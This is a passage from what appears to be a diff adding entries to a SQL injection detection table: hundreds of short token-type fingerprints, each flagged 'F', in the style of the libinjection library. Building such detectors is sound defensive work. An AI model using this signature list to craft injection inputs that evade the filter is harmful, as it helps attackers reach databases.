'F'}, + {"01;E1,", 'F'}, + {"01;E1;", 'F'}, + {"01;E1C", 'F'}, + {"01;E1K", 'F'}, + {"01;E1O", 'F'}, + {"01;E1T", 'F'}, + {"01;EF(", 'F'}, + {"01;EK(", 'F'}, + {"01;EK1", 'F'}, + {"01;EKF", 'F'}, + {"01;EKN", 'F'}, + {"01;EKO", 'F'}, + {"01;EKS", 'F'}, + {"01;EKV", 'F'}, + {"01;EN,", 'F'}, + {"01;EN;", 'F'}, + {"01;ENC", 'F'}, + {"01;ENE", 'F'}, + {"01;ENK", 'F'}, + {"01;ENO", 'F'}, + {"01;ENT", 'F'}, + {"01;ES,", 'F'}, + {"01;ES;", 'F'}, + {"01;ESC", 'F'}, + {"01;ESK", 'F'}, + {"01;ESO", 'F'}, + {"01;EST", 'F'}, + {"01;EV,", 'F'}, + {"01;EV;", 'F'}, + {"01;EVC", 'F'}, + {"01;EVK", 'F'}, + {"01;EVO", 'F'}, + {"01;EVT", 'F'}, + {"01;N:T", 'F'}, + {"01;T(1", 'F'}, + {"01;T(C", 'F'}, + {"01;T(E", 'F'}, + {"01;T(F", 'F'}, + {"01;T(N", 'F'}, + {"01;T(S", 'F'}, + {"01;T(V", 'F'}, + {"01;T1(", 'F'}, + {"01;T1,", 'F'}, + {"01;T1;", 'F'}, + {"01;T1C", 'F'}, + {"01;T1F", 'F'}, + {"01;T1K", 'F'}, + {"01;T1O", 'F'}, + {"01;T1T", 'F'}, + {"01;T;", 'F'}, + {"01;T;C", 'F'}, + {"01;TF(", 'F'}, + {"01;TK(", 'F'}, + {"01;TK1", 'F'}, + {"01;TKF", 'F'}, + {"01;TKK", 'F'}, + {"01;TKN", 'F'}, + {"01;TKO", 'F'}, + {"01;TKS", 'F'}, + {"01;TKV", 'F'}, + {"01;TN(", 'F'}, + {"01;TN,", 'F'}, + {"01;TN1", 'F'}, + {"01;TN;", 'F'}, + {"01;TNC", 'F'}, + {"01;TNF", 'F'}, + {"01;TNK", 'F'}, + {"01;TNN", 'F'}, + {"01;TNO", 'F'}, + {"01;TNS", 'F'}, + {"01;TNT", 'F'}, + {"01;TNV", 'F'}, + {"01;TO(", 'F'}, + {"01;TS(", 'F'}, + {"01;TS,", 'F'}, + {"01;TS;", 'F'}, + {"01;TSC", 'F'}, + {"01;TSF", 'F'}, + {"01;TSK", 'F'}, + {"01;TSO", 'F'}, + {"01;TST", 'F'}, + {"01;TTN", 'F'}, + {"01;TV(", 'F'}, + {"01;TV,", 'F'}, + {"01;TV;", 'F'}, + {"01;TVC", 'F'}, + {"01;TVF", 'F'}, + {"01;TVK", 'F'}, + {"01;TVO", 'F'}, + {"01;TVT", 'F'}, + {"01A(F(", 'F'}, + {"01A(N)", 'F'}, + {"01A(NO", 'F'}, + {"01A(S)", 'F'}, + {"01A(SO", 'F'}, + {"01A(V)", 'F'}, + {"01A(VO", 'F'}, + {"01AF()", 'F'}, + {"01AF(1", 'F'}, + {"01AF(F", 'F'}, + {"01AF(N", 'F'}, + {"01AF(S", 'F'}, + {"01AF(V", 'F'}, + {"01ASO(", 'F'}, + {"01ASO1", 'F'}, + {"01ASOF", 'F'}, + {"01ASON", 'F'}, + {"01ASOS", 'F'}, + {"01ASOV", 'F'}, + {"01ASUE", 'F'}, + {"01ATO(", 'F'}, + {"01ATO1", 'F'}, + {"01ATOF", 'F'}, + {"01ATON", 'F'}, + {"01ATOS", 'F'}, + {"01ATOV", 'F'}, + {"01ATUE", 'F'}, + {"01AVO(", 'F'}, + {"01AVOF", 'F'}, + {"01AVOS", 'F'}, + {"01AVUE", 'F'}, + {"01B(1)", 'F'}, + {"01B(1O", 'F'}, + {"01B(F(", 'F'}, + {"01B(NO", 'F'}, + {"01B(S)", 'F'}, + {"01B(SO", 'F'}, + {"01B(V)", 'F'}, + {"01B(VO", 'F'}, + {"01B1", 'F'}, + {"01B1&(", 'F'}, + {"01B1&1", 'F'}, + {"01B1&F", 'F'}, + {"01B1&N", 'F'}, + {"01B1&S", 'F'}, + {"01B1&V", 'F'}, + {"01B1,(", 'F'}, + {"01B1,F", 'F'}, + {"01B1;", 'F'}, + {"01B1;C", 'F'}, + {"01B1B(", 'F'}, + {"01B1B1", 'F'}, + {"01B1BF", 'F'}, + {"01B1BN", 'F'}, + {"01B1BS", 'F'}, + {"01B1BV", 'F'}, + {"01B1C", 'F'}, + {"01B1K(", 'F'}, + {"01B1K1", 'F'}, + {"01B1KF", 'F'}, + {"01B1KN", 'F'}, + {"01B1KS", 'F'}, + {"01B1KV", 'F'}, + {"01B1O(", 'F'}, + {"01B1OF", 'F'}, + {"01B1OS", 'F'}, + {"01B1OV", 'F'}, + {"01B1U(", 'F'}, + {"01B1UE", 'F'}, + {"01BE(1", 'F'}, + {"01BE(F", 'F'}, + {"01BE(N", 'F'}, + {"01BE(S", 'F'}, + {"01BE(V", 'F'}, + {"01BEK(", 'F'}, + {"01BF()", 'F'}, + {"01BF(1", 'F'}, + {"01BF(F", 'F'}, + {"01BF(N", 'F'}, + {"01BF(S", 'F'}, + {"01BF(V", 'F'}, + {"01BN", 'F'}, + {"01BN&(", 'F'}, + {"01BN&1", 'F'}, + {"01BN&F", 'F'}, + {"01BN&N", 'F'}, + {"01BN&S", 'F'}, + {"01BN&V", 'F'}, + {"01BN,(", 'F'}, + {"01BN,F", 'F'}, + {"01BN;", 'F'}, + {"01BN;C", 'F'}, + {"01BNB(", 'F'}, + {"01BNB1", 'F'}, + {"01BNBF", 'F'}, + {"01BNBN", 'F'}, + {"01BNBS", 'F'}, + {"01BNBV", 'F'}, + {"01BNC", 'F'}, + {"01BNK(", 'F'}, + {"01BNK1", 'F'}, + {"01BNKF", 'F'}, + {"01BNKN", 'F'}, + {"01BNKS", 'F'}, + {"01BNKV", 'F'}, + {"01BNO(", 'F'}, + {"01BNOF", 'F'}, + {"01BNOS", 'F'}, + {"01BNOV", 'F'}, + {"01BNU(", 'F'}, + {"01BNUE", 'F'}, + {"01BS", 'F'}, + {"01BS&(", 'F'}, + {"01BS&1", 'F'}, + {"01BS&F", 'F'}, + {"01BS&N", 'F'}, + {"01BS&S", 'F'}, + {"01BS&V", 'F'}, + {"01BS,(", 'F'}, + {"01BS,F", 'F'}, + {"01BS;", 'F'}, + {"01BS;C", 'F'}, + {"01BSB(", 'F'}, + {"01BSB1", 'F'}, + {"01BSBF", 'F'}, + {"01BSBN", 'F'}, + {"01BSBS", 'F'}, + {"01BSBV", 'F'}, + {"01BSC", 'F'}, + {"01BSK(", 'F'}, + {"01BSK1", 'F'}, + {"01BSKF", 'F'}, + {"01BSKN", 'F'}, + {"01BSKS", 'F'}, + {"01BSKV", 'F'}, + {"01BSO(", 'F'}, + {"01BSO1", 'F'}, + {"01BSOF", 'F'}, + {"01BSON", 'F'}, + {"01BSOS", 'F'}, + {"01BSOV", 'F'}, + {"01BSU(", 'F'}, + {"01BSUE", 'F'}, + {"01BV", 'F'}, + {"01BV&(", 'F'}, + {"01BV&1", 'F'}, + {"01BV&F", 'F'}, + {"01BV&N", 'F'}, + {"01BV&S", 'F'}, + {"01BV&V", 'F'}, + {"01BV,(", 'F'}, + {"01BV,F", 'F'}, + {"01BV;", 'F'}, + {"01BV;C", 'F'}, + {"01BVB(", 'F'}, + {"01BVB1", 'F'}, + {"01BVBF", 'F'}, + {"01BVBN", 'F'}, + {"01BVBS", 'F'}, + {"01BVBV", 'F'}, + {"01BVC", 'F'}, + {"01BVK(", 'F'}, + {"01BVK1", 'F'}, + {"01BVKF", 'F'}, + {"01BVKN", 'F'}, + {"01BVKS", 'F'}, + {"01BVKV", 'F'}, + {"01BVO(", 'F'}, + {"01BVOF", 'F'}, + {"01BVOS", 'F'}, + {"01BVU(", 'F'}, + {"01BVUE", 'F'}, + {"01C", 'F'}, + {"01E(1)", 'F'}, + {"01E(1O", 'F'}, + {"01E(F(", 'F'}, + {"01E(N)", 'F'}, + {"01E(NO", 'F'}, + {"01E(S)", 'F'}, + {"01E(SO", 'F'}, + {"01E(V)", 'F'}, + {"01E(VO", 'F'}, + {"01E1;T", 'F'}, + {"01E1C", 'F'}, + {"01E1O(", 'F'}, + {"01E1OF", 'F'}, + {"01E1OS", 'F'}, + {"01E1OV", 'F'}, + {"01E1T(", 'F'}, + {"01E1T1", 'F'}, + {"01E1TF", 'F'}, + {"01E1TN", 'F'}, + {"01E1TS", 'F'}, + {"01E1TV", 'F'}, + {"01E1UE", 'F'}, + {"01EF()", 'F'}, + {"01EF(1", 'F'}, + {"01EF(F", 'F'}, + {"01EF(N", 'F'}, + {"01EF(S", 'F'}, + {"01EF(V", 'F'}, + {"01EK(1", 'F'}, + {"01EK(E", 'F'}, + {"01EK(F", 'F'}, + {"01EK(N", 'F'}, + {"01EK(S", 'F'}, + {"01EK(V", 'F'}, + {"01EK1;", 'F'}, + {"01EK1C", 'F'}, + {"01EK1O", 'F'}, + {"01EK1T", 'F'}, + {"01EK1U", 'F'}, + {"01EKF(", 'F'}, + {"01EKN;", 'F'}, + {"01EKNC", 'F'}, + {"01EKNE", 'F'}, + {"01EKNT", 'F'}, + {"01EKNU", 'F'}, + {"01EKOK", 'F'}, + {"01EKS;", 'F'}, + {"01EKSC", 'F'}, + {"01EKSO", 'F'}, + {"01EKST", 'F'}, + {"01EKSU", 'F'}, + {"01EKU(", 'F'}, + {"01EKU1", 'F'}, + {"01EKUE", 'F'}, + {"01EKUF", 'F'}, + {"01EKUS", 'F'}, + {"01EKUV", 'F'}, + {"01EKV;", 'F'}, + {"01EKVC", 'F'}, + {"01EKVO", 'F'}, + {"01EKVT", 'F'}, + {"01EKVU", 'F'}, + {"01EN;T", 'F'}, + {"01ENC", 'F'}, + {"01ENEN", 'F'}, + {"01ENO(", 'F'}, + {"01ENOF", 'F'}, + {"01ENOS", 'F'}, + {"01ENOV", 'F'}, + {"01ENT(", 'F'}, + {"01ENT1", 'F'}, + {"01ENTF", 'F'}, + {"01ENTN", 'F'}, + {"01ENTS", 'F'}, + {"01ENTV", 'F'}, + {"01ENUE", 'F'}, + {"01EOKN", 'F'}, + {"01ES;T", 'F'}, + {"01ESC", 'F'}, + {"01ESO(", 'F'}, + {"01ESO1", 'F'}, + {"01ESOF", 'F'}, + {"01ESON", 'F'}, + {"01ESOS", 'F'}, + {"01ESOV", 'F'}, + {"01EST(", 'F'}, + {"01EST1", 'F'}, + {"01ESTF", 'F'}, + {"01ESTN", 'F'}, + {"01ESTS", 'F'}, + {"01ESTV", 'F'}, + {"01ESUE", 'F'}, + {"01EU(1", 'F'}, + {"01EU(F", 'F'}, + {"01EU(N", 'F'}, + {"01EU(S", 'F'}, + {"01EU(V", 'F'}, + {"01EU1,", 'F'}, + {"01EU1C", 'F'}, + {"01EU1O", 'F'}, + {"01EUEF", 'F'}, + {"01EUEK", 'F'}, + {"01EUF(", 'F'}, + {"01EUS,", 'F'}, + {"01EUSC", 'F'}, + {"01EUSO", 'F'}, + {"01EUV,", 'F'}, + {"01EUVC", 'F'}, + {"01EUVO", 'F'}, + {"01EV;T", 'F'}, + {"01EVC", 'F'}, + {"01EVO(", 'F'}, + {"01EVOF", 'F'}, + {"01EVOS", 'F'}, + {"01EVT(", 'F'}, + {"01EVT1", 'F'}, + {"01EVTF", 'F'}, + {"01EVTN", 'F'}, + {"01EVTS", 'F'}, + {"01EVTV", 'F'}, + {"01EVUE", 'F'}, + {"01F()1", 'F'}, + {"01F()F", 'F'}, + {"01F()K", 'F'}, + {"01F()N", 'F'}, + {"01F()O", 'F'}, + {"01F()S", 'F'}, + {"01F()U", 'F'}, + {"01F()V", 'F'}, + {"01F(1)", 'F'}, + {"01F(1N", 'F'}, + {"01F(1O", 'F'}, + {"01F(E(", 'F'}, + {"01F(E1", 'F'}, + {"01F(EF", 'F'}, + {"01F(EK", 'F'}, + {"01F(EN", 'F'}, + {"01F(ES", 'F'}, + {"01F(EV", 'F'}, + {"01F(F(", 'F'}, + {"01F(N)", 'F'}, + {"01F(N,", 'F'}, + {"01F(NO", 'F'}, + {"01F(S)", 'F'}, + {"01F(SO", 'F'}, + {"01F(V)", 'F'}, + {"01F(VO", 'F'}, + {"01K(1O", 'F'}, + {"01K(F(", 'F'}, + {"01K(N)", 'F'}, + {"01K(NO", 'F'}, + {"01K(S)", 'F'}, + {"01K(SO", 'F'}, + {"01K(V)", 'F'}, + {"01K(VO", 'F'}, + {"01K)&(", 'F'}, + {"01K)&1", 'F'}, + {"01K)&F", 'F'}, + {"01K)&N", 'F'}, + {"01K)&S", 'F'}, + {"01K)&V", 'F'}, + {"01K);E", 'F'}, + {"01K);T", 'F'}, + {"01K)B(", 'F'}, + {"01K)B1", 'F'}, + {"01K)BF", 'F'}, + {"01K)BN", 'F'}, + {"01K)BS", 'F'}, + {"01K)BV", 'F'}, + {"01K)E(", 'F'}, + {"01K)E1", 'F'}, + {"01K)EF", 'F'}, + {"01K)EK", 'F'}, + {"01K)EN", 'F'}, + {"01K)ES", 'F'}, + {"01K)EV", 'F'}, + {"01K)F(", 'F'}, + {"01K)O(", 'F'}, + {"01K)OF", 'F'}, + {"01K)UE", 'F'}, + {"01K1", 'F'}, + {"01K1&(", 'F'}, + {"01K1&1", 'F'}, + {"01K1&F", 'F'}, + {"01K1&N", 'F'}, + {"01K1&S", 'F'}, + {"01K1&V", 'F'}, + {"01K1;", 'F'}, + {"01K1;C", 'F'}, + {"01K1;E", 'F'}, + {"01K1;T", 'F'}, + {"01K1B(", 'F'}, + {"01K1B1", 'F'}, + {"01K1BF", 'F'}, + {"01K1BN", 'F'}, + {"01K1BS", 'F'}, + {"01K1BV", 'F'}, + {"01K1C", 'F'}, + {"01K1E(", 'F'}, + {"01K1E1", 'F'}, + {"01K1EF", 'F'}, + {"01K1EK", 'F'}, + {"01K1EN", 'F'}, + {"01K1ES", 'F'}, + {"01K1EV", 'F'}, + {"01K1O(", 'F'}, + {"01K1OF", 'F'}, + {"01K1OS", 'F'}, + {"01K1OV", 'F'}, + {"01K1U(", 'F'}, + {"01K1UE", 'F'}, + {"01KF()", 'F'}, + {"01KF(1", 'F'}, + {"01KF(F", 'F'}, + {"01KF(N", 'F'}, + {"01KF(S", 'F'}, + {"01KF(V", 'F'}, + {"01KN", 'F'}, + {"01KN&(", 'F'}, + {"01KN&1", 'F'}, + {"01KN&F", 'F'}, + {"01KN&N", 'F'}, + {"01KN&S", 'F'}, + {"01KN&V", 'F'}, + {"01KN;", 'F'}, + {"01KN;C", 'F'}, + {"01KN;E", 'F'}, + {"01KN;T", 'F'}, + {"01KNB(", 'F'}, + {"01KNB1", 'F'}, + {"01KNBF", 'F'}, + {"01KNBN", 'F'}, + {"01KNBS", 'F'}, + {"01KNBV", 'F'}, + {"01KNC", 'F'}, + {"01KNE(", 'F'}, + {"01KNE1", 'F'}, + {"01KNEF", 'F'}, + {"01KNEN", 'F'}, + {"01KNES", 'F'}, + {"01KNEV", 'F'}, + {"01KNU(", 'F'}, + {"01KNUE", 'F'}, + {"01KS", 'F'}, + {"01KS&(", 'F'}, + {"01KS&1", 'F'}, + {"01KS&F", 'F'}, + {"01KS&N", 'F'}, + {"01KS&S", 'F'}, + {"01KS&V", 'F'}, + {"01KS;", 'F'}, + {"01KS;C", 'F'}, + {"01KS;E", 'F'}, + {"01KS;T", 'F'}, + {"01KSB(", 'F'}, + {"01KSB1", 'F'}, + {"01KSBF", 'F'}, + {"01KSBN", 'F'}, + {"01KSBS", 'F'}, + {"01KSBV", 'F'}, + {"01KSC", 'F'}, + {"01KSE(", 'F'}, + {"01KSE1", 'F'}, + {"01KSEF", 'F'}, + {"01KSEK", 'F'}, + {"01KSEN", 'F'}, + {"01KSES", 'F'}, + {"01KSEV", 'F'}, + {"01KSO(", 'F'}, + {"01KSO1", 'F'}, + {"01KSOF", 'F'}, + {"01KSON", 'F'}, + {"01KSOS", 'F'}, + {"01KSOV", 'F'}, + {"01KSU(", 'F'}, + {"01KSUE", 'F'}, + {"01KUE(", 'F'}, + {"01KUE1", 'F'}, + {"01KUEF", 'F'}, + {"01KUEK", 'F'}, + {"01KUEN", 'F'}, + {"01KUES", 'F'}, + {"01KUEV", 'F'}, + {"01KV", 'F'}, + {"01KV&(", 'F'}, + {"01KV&1", 'F'}, + {"01KV&F", 'F'}, + {"01KV&N", 'F'}, + {"01KV&S", 'F'}, + {"01KV&V", 'F'}, + {"01KV;", 'F'}, + {"01KV;C", 'F'}, + {"01KV;E", 'F'}, + {"01KV;T", 'F'}, + {"01KVB(", 'F'}, + {"01KVB1", 'F'}, + {"01KVBF", 'F'}, + {"01KVBN", 'F'}, + {"01KVBS", 'F'}, + {"01KVBV", 'F'}, + {"01KVC", 'F'}, + {"01KVE(", 'F'}, + {"01KVE1", 'F'}, + {"01KVEF", 'F'}, + {"01KVEK", 'F'}, + {"01KVEN", 'F'}, + {"01KVES", 'F'}, + {"01KVEV", 'F'}, + {"01KVO(", 'F'}, + {"01KVOF", 'F'}, + {"01KVOS", 'F'}, + {"01KVU(", 'F'}, + {"01KVUE", 'F'}, + {"01N&F(", 'F'}, + {"01N(1O", 'F'}, + {"01N(F(", 'F'}, + {"01N(S)", 'F'}, + {"01N(SO", 'F'}, + {"01N(V)", 'F'}, + {"01N(VO", 'F'}, + {"01N)UE", 'F'}, + {"01N,F(", 'F'}, + {"01NE(1", 'F'}, + {"01NE(F", 'F'}, + {"01NE(N", 'F'}, + {"01NE(S", 'F'}, + {"01NE(V", 'F'}, + {"01NE1C", 'F'}, + {"01NE1O", 'F'}, + {"01NEF(", 'F'}, + {"01NENC", 'F'}, + {"01NENO", 'F'}, + {"01NESC", 'F'}, + {"01NESO", 'F'}, + {"01NEVC", 'F'}, + {"01NEVO", 'F'}, + {"01NU(E", 'F'}, + {"01NUE", 'F'}, + {"01NUE(", 'F'}, + {"01NUE1", 'F'}, + {"01NUE;", 'F'}, + {"01NUEC", 'F'}, + {"01NUEF", 'F'}, + {"01NUEK", 'F'}, + {"01NUEN", 'F'}, + {"01NUES", 'F'}, + {"01NUEV", 'F'}, + {"01O(1&", 'F'}, + {"01O(1)", 'F'}, + {"01O(1,", 'F'}, + {"01O(1O", 'F'}, + {"01O(E(", 'F'}, + {"01O(E1", 'F'}, + {"01O(EE", 'F'}, + {"01O(EF", 'F'}, + {"01O(EK", 'F'}, + {"01O(EN", 'F'}, + {"01O(EO", 'F'}, + {"01O(ES", 'F'}, + {"01O(EV", 'F'}, + {"01O(F(", 'F'}, + {"01O(N&", 'F'}, + {"01O(N)", 'F'}, + {"01O(N,", 'F'}, + {"01O(NO", 'F'}, + {"01O(S&", 'F'}, + {"01O(S)", 'F'}, + {"01O(S,", 'F'}, + {"01O(SO", 'F'}, + {"01O(V&", 'F'}, + {"01O(V)", 'F'}, + {"01O(V,", 'F'}, + {"01O(VO", 'F'}, + {"01OF()", 'F'}, + {"01OF(1", 'F'}, + {"01OF(E", 'F'}, + {"01OF(F", 'F'}, + {"01OF(N", 'F'}, + {"01OF(S", 'F'}, + {"01OF(V", 'F'}, + {"01OK&(", 'F'}, + {"01OK&1", 'F'}, + {"01OK&F", 'F'}, + {"01OK&N", 'F'}, + {"01OK&S", 'F'}, + {"01OK&V", 'F'}, + {"01OK(1", 'F'}, + {"01OK(F", 'F'}, + {"01OK(N", 'F'}, + {"01OK(S", 'F'}, + {"01OK(V", 'F'}, + {"01OK1C", 'F'}, + {"01OK1O", 'F'}, + {"01OKF(", 'F'}, + {"01OKNC", 'F'}, + {"01OKO(", 'F'}, + {"01OKO1", 'F'}, + {"01OKOF", 'F'}, + {"01OKON", 'F'}, + {"01OKOS", 'F'}, + {"01OKOV", 'F'}, + {"01OKSC", 'F'}, + {"01OKSO", 'F'}, + {"01OKVC", 'F'}, + {"01OKVO", 'F'}, + {"01ONSU", 'F'}, + {"01OS&(", 'F'}, + {"01OS&1", 'F'}, + {"01OS&E", 'F'}, + {"01OS&F", 'F'}, + {"01OS&K", 'F'}, + {"01OS&N", 'F'}, + {"01OS&S", 'F'}, + {"01OS&U", 'F'}, + {"01OS&V", 'F'}, + {"01OS(E", 'F'}, + {"01OS(U", 'F'}, + {"01OS)&", 'F'}, + {"01OS),", 'F'}, + {"01OS);", 'F'}, + {"01OS)B", 'F'}, + {"01OS)C", 'F'}, + {"01OS)E", 'F'}, + {"01OS)F", 'F'}, + {"01OS)K", 'F'}, + {"01OS)O", 'F'}, + {"01OS)U", 'F'}, + {"01OS,(", 'F'}, + {"01OS,F", 'F'}, + {"01OS1(", 'F'}, + {"01OS1F", 'F'}, + {"01OS1N", 'F'}, + {"01OS1S", 'F'}, + {"01OS1U", 'F'}, + {"01OS1V", 'F'}, + {"01OS;", 'F'}, + {"01OS;C", 'F'}, + {"01OS;E", 'F'}, + {"01OS;N", 'F'}, + {"01OS;T", 'F'}, + {"01OSA(", 'F'}, + {"01OSAF", 'F'}, + {"01OSAS", 'F'}, + {"01OSAT", 'F'}, + {"01OSAV", 'F'}, + {"01OSB(", 'F'}, + {"01OSB1", 'F'}, + {"01OSBE", 'F'}, + {"01OSBF", 'F'}, + {"01OSBN", 'F'}, + {"01OSBS", 'F'}, + {"01OSBV", 'F'}, + {"01OSC", 'F'}, + {"01OSE(", 'F'}, + {"01OSE1", 'F'}, + {"01OSEF", 'F'}, + {"01OSEK", 'F'}, + {"01OSEN", 'F'}, + {"01OSEO", 'F'}, + {"01OSES", 'F'}, + {"01OSEU", 'F'}, + {"01OSEV", 'F'}, + {"01OSF(", 'F'}, + {"01OSK(", 'F'}, + {"01OSK)", 'F'}, + {"01OSK1", 'F'}, + {"01OSKB", 'F'}, + {"01OSKF", 'F'}, + {"01OSKN", 'F'}, + {"01OSKS", 'F'}, + {"01OSKU", 'F'}, + {"01OSKV", 'F'}, + {"01OST(", 'F'}, + {"01OST1", 'F'}, + {"01OSTE", 'F'}, + {"01OSTF", 'F'}, + {"01OSTN", 'F'}, + {"01OSTS", 'F'}, + {"01OSTT", 'F'}, + {"01OSTV", 'F'}, + {"01OSU", 'F'}, + {"01OSU(", 'F'}, + {"01OSU1", 'F'}, + {"01OSU;", 'F'}, + {"01OSUC", 'F'}, + {"01OSUE", 'F'}, + {"01OSUF", 'F'}, + {"01OSUK", 'F'}, + {"01OSUO", 'F'}, + {"01OSUS", 'F'}, + {"01OSUT", 'F'}, + {"01OSUV", 'F'}, + {"01OSV(", 'F'}, + {"01OSVF", 'F'}, + {"01OSVO", 'F'}, + {"01OSVS", 'F'}, + {"01OSVU", 'F'}, + {"01OU(E", 'F'}, + {"01OUEK", 'F'}, + {"01OUEN", 'F'}, + {"01OV", 'F'}, + {"01OV&(", 'F'}, + {"01OV&1", 'F'}, + {"01OV&E", 'F'}, + {"01OV&F", 'F'}, + {"01OV&K", 'F'}, + {"01OV&N", 'F'}, + {"01OV&S", 'F'}, + {"01OV&U", 'F'}, + {"01OV&V", 'F'}, + {"01OV(E", 'F'}, + {"01OV(U", 'F'}, + {"01OV)&", 'F'}, + {"01OV),", 'F'}, + {"01OV);", 'F'}, + {"01OV)B", 'F'}, + {"01OV)C", 'F'}, + {"01OV)E", 'F'}, + {"01OV)F", 'F'}, + {"01OV)K", 'F'}, + {"01OV)O", 'F'}, + {"01OV)U", 'F'}, + {"01OV,(", 'F'}, + {"01OV,F", 'F'}, + {"01OV;", 'F'}, + {"01OV;C", 'F'}, + {"01OV;E", 'F'}, + {"01OV;N", 'F'}, + {"01OV;T", 'F'}, + {"01OVA(", 'F'}, + {"01OVAF", 'F'}, + {"01OVAS", 'F'}, + {"01OVAT", 'F'}, + {"01OVAV", 'F'}, + {"01OVB(", 'F'}, + {"01OVB1", 'F'}, + {"01OVBE", 'F'}, + {"01OVBF", 'F'}, + {"01OVBN", 'F'}, + {"01OVBS", 'F'}, + {"01OVBV", 'F'}, + {"01OVC", 'F'}, + {"01OVE(", 'F'}, + {"01OVE1", 'F'}, + {"01OVEF", 'F'}, + {"01OVEK", 'F'}, + {"01OVEN", 'F'}, + {"01OVEO", 'F'}, + {"01OVES", 'F'}, + {"01OVEU", 'F'}, + {"01OVEV", 'F'}, + {"01OVF(", 'F'}, + {"01OVK(", 'F'}, + {"01OVK)", 'F'}, + {"01OVK1", 'F'}, + {"01OVKB", 'F'}, + {"01OVKF", 'F'}, + {"01OVKN", 'F'}, + {"01OVKS", 'F'}, + {"01OVKU", 'F'}, + {"01OVKV", 'F'}, + {"01OVO(", 'F'}, + {"01OVOF", 'F'}, + {"01OVOK", 'F'}, + {"01OVOS", 'F'}, + {"01OVOU", 'F'}, + {"01OVS(", 'F'}, + {"01OVS1", 'F'}, + {"01OVSF", 'F'}, + {"01OVSO", 'F'}, + {"01OVSU", 'F'}, + {"01OVSV", 'F'}, + {"01OVT(", 'F'}, + {"01OVT1", 'F'}, + {"01OVTE", 'F'}, + {"01OVTF", 'F'}, + {"01OVTN", 'F'}, + {"01OVTS", 'F'}, + {"01OVTT", 'F'}, + {"01OVTV", 'F'}, + {"01OVU", 'F'}, + {"01OVU(", 'F'}, + {"01OVU1", 'F'}, + {"01OVU;", 'F'}, + {"01OVUC", 'F'}, + {"01OVUE", 'F'}, + {"01OVUF", 'F'}, + {"01OVUK", 'F'}, + {"01OVUO", 'F'}, + {"01OVUS", 'F'}, + {"01OVUT", 'F'}, + {"01OVUV", 'F'}, + {"01SF()", 'F'}, + {"01SF(1", 'F'}, + {"01SF(F", 'F'}, + {"01SF(N", 'F'}, + {"01SF(S", 'F'}, + {"01SF(V", 'F'}, + {"01SUE", 'F'}, + {"01SUE;", 'F'}, + {"01SUEC", 'F'}, + {"01SUEK", 'F'}, + {"01SV", 'F'}, + {"01SV;", 'F'}, + {"01SV;C", 'F'}, + {"01SVC", 'F'}, + {"01SVO(", 'F'}, + {"01SVOF", 'F'}, + {"01SVOS", 'F'}, + {"01T(1)", 'F'}, + {"01T(1O", 'F'}, + {"01T(F(", 'F'}, + {"01T(N)", 'F'}, + {"01T(NO", 'F'}, + {"01T(S)", 'F'}, + {"01T(SO", 'F'}, + {"01T(V)", 'F'}, + {"01T(VO", 'F'}, + {"01T1(F", 'F'}, + {"01T1O(", 'F'}, + {"01T1OF", 'F'}, + {"01T1OS", 'F'}, + {"01T1OV", 'F'}, + {"01TE(1", 'F'}, + {"01TE(F", 'F'}, + {"01TE(N", 'F'}, + {"01TE(S", 'F'}, + {"01TE(V", 'F'}, + {"01TE1N", 'F'}, + {"01TE1O", 'F'}, + {"01TEF(", 'F'}, + {"01TEK(", 'F'}, + {"01TEK1", 'F'}, + {"01TEKF", 'F'}, + {"01TEKN", 'F'}, + {"01TEKS", 'F'}, + {"01TEKV", 'F'}, + {"01TENN", 'F'}, + {"01TENO", 'F'}, + {"01TESN", 'F'}, + {"01TESO", 'F'}, + {"01TEVN", 'F'}, + {"01TEVO", 'F'}, + {"01TF()", 'F'}, + {"01TF(1", 'F'}, + {"01TF(F", 'F'}, + {"01TF(N", 'F'}, + {"01TF(S", 'F'}, + {"01TF(V", 'F'}, + {"01TN(1", 'F'}, + {"01TN(F", 'F'}, + {"01TN(S", 'F'}, + {"01TN(V", 'F'}, + {"01TN1C", 'F'}, + {"01TN1O", 'F'}, + {"01TN;E", 'F'}, + {"01TN;N", 'F'}, + {"01TN;T", 'F'}, + {"01TNE(", 'F'}, + {"01TNE1", 'F'}, + {"01TNEF", 'F'}, + {"01TNEN", 'F'}, + {"01TNES", 'F'}, + {"01TNEV", 'F'}, + {"01TNF(", 'F'}, + {"01TNKN", 'F'}, + {"01TNN:", 'F'}, + {"01TNNC", 'F'}, + {"01TNNO", 'F'}, + {"01TNO(", 'F'}, + {"01TNOF", 'F'}, + {"01TNOS", 'F'}, + {"01TNOV", 'F'}, + {"01TNSC", 'F'}, + {"01TNSO", 'F'}, + {"01TNT(", 'F'}, + {"01TNT1", 'F'}, + {"01TNTF", 'F'}, + {"01TNTN", 'F'}, + {"01TNTS", 'F'}, + {"01TNTV", 'F'}, + {"01TNVC", 'F'}, + {"01TNVO", 'F'}, + {"01TS(F", 'F'}, + {"01TSO(", 'F'}, + {"01TSO1", 'F'}, + {"01TSOF", 'F'}, + {"01TSON", 'F'}, + {"01TSOS", 'F'}, + {"01TSOV", 'F'}, + {"01TTNE", 'F'}, + {"01TTNK", 'F'}, + {"01TTNN", 'F'}, + {"01TTNT", 'F'}, + {"01TV(1", 'F'}, + {"01TV(F", 'F'}, + {"01TVO(", 'F'}, + {"01TVOF", 'F'}, + {"01TVOS", 'F'}, + {"01U", 'F'}, + {"01U(1)", 'F'}, + {"01U(1O", 'F'}, + {"01U(E(", 'F'}, + {"01U(E1", 'F'}, + {"01U(EF", 'F'}, + {"01U(EK", 'F'}, + {"01U(EN", 'F'}, + {"01U(ES", 'F'}, + {"01U(EV", 'F'}, + {"01U(F(", 'F'}, + {"01U(N)", 'F'}, + {"01U(NO", 'F'}, + {"01U(S)", 'F'}, + {"01U(SO", 'F'}, + {"01U(V)", 'F'}, + {"01U(VO", 'F'}, + {"01U1,(", 'F'}, + {"01U1,F", 'F'}, + {"01U1C", 'F'}, + {"01U1O(", 'F'}, + {"01U1OF", 'F'}, + {"01U1OS", 'F'}, + {"01U1OV", 'F'}, + {"01U;", 'F'}, + {"01U;C", 'F'}, + {"01UC", 'F'}, + {"01UE", 'F'}, + {"01UE(1", 'F'}, + {"01UE(E", 'F'}, + {"01UE(F", 'F'}, + {"01UE(N", 'F'}, + {"01UE(O", 'F'}, + {"01UE(S", 'F'}, + {"01UE(V", 'F'}, + {"01UE1", 'F'}, + {"01UE1&", 'F'}, + {"01UE1(", 'F'}, + {"01UE1)", 'F'}, + {"01UE1,", 'F'}, + {"01UE1;", 'F'}, + {"01UE1B", 'F'}, + {"01UE1C", 'F'}, + {"01UE1F", 'F'}, + {"01UE1K", 'F'}, + 